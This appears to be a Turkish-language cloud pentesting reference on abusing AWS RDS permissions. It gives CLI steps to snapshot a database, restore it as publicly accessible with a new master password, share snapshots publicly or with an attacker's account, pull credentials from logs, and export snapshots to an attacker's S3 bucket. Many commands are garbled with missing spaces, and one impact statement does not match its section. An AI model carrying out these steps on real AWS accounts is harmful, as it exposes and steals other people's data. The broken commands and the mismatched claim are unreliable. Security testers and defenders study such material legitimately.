Saldırgan yeterli izinlere sahipse, bir DB'yi halka açık hale getirebilir. Bunun için DB'nin bir anlık görüntüsünü oluşturur ve ardından bu anlık görüntüden halka açık bir DB oluşturur.
awsrdsdescribe-db-instances# Get DB identifierawsrdscreate-db-snapshot \--db-instance-identifier <db-id> \--db-snapshot-identifier cloudgoat# Get subnet groups & security groupsawsrdsdescribe-db-subnet-groupsawsec2describe-security-groupsawsrdsrestore-db-instance-from-db-snapshot \--db-instance-identifier "new-db-not-malicious" \--db-snapshot-identifier <scapshotId> \--db-subnet-group-name <dbsubnetgroup> \--publicly-accessible \--vpc-security-group-ids <ec2-securitygroup>awsrdsmodify-db-instance \--db-instance-identifier "new-db-not-malicious" \--master-user-password 'Llaody2f6.123' \--apply-immediately# Connect to the new DB after a few mins
Bu izinlere sahip bir saldırgan, bir DB'nin bir anlık görüntüsünü oluşturabilir ve bunu halka açık hale getirebilir. Ardından, kendi hesabında bu anlık görüntüden bir DB oluşturabilir.
Eğer saldırganın rds:CreateDBSnapshot izni yoksa, yine de başka oluşturulmuş anlık görüntüleri halka açık hale getirebilir.
# create snapshotawsrdscreate-db-snapshot--db-instance-identifier<db-instance-identifier>--db-snapshot-identifier<snapshot-name># Make it public/share with attackers accountaws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
rds:DownloadDBLogFilePortion izni olan bir saldırgan, bir RDS örneğinin günlük dosyalarının bölümlerini indirebilir. Hassas veriler veya erişim kimlik bilgileri yanlışlıkla kaydedilmişse, saldırgan bu bilgileri kullanarak ayrıcalıklarını yükseltebilir veya yetkisiz işlemler gerçekleştirebilir.
Potansiyel etki: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı.
rds:StartExportTask
TODO: Test
Bu izne sahip bir saldırgan, bir RDS örneği anlık görüntüsünü bir S3 kovasına aktarabilir. Saldırgan, hedef S3 kovasını kontrol ediyorsa, aktarılan görüntü içindeki hassas verilere potansiyel olarak erişebilir.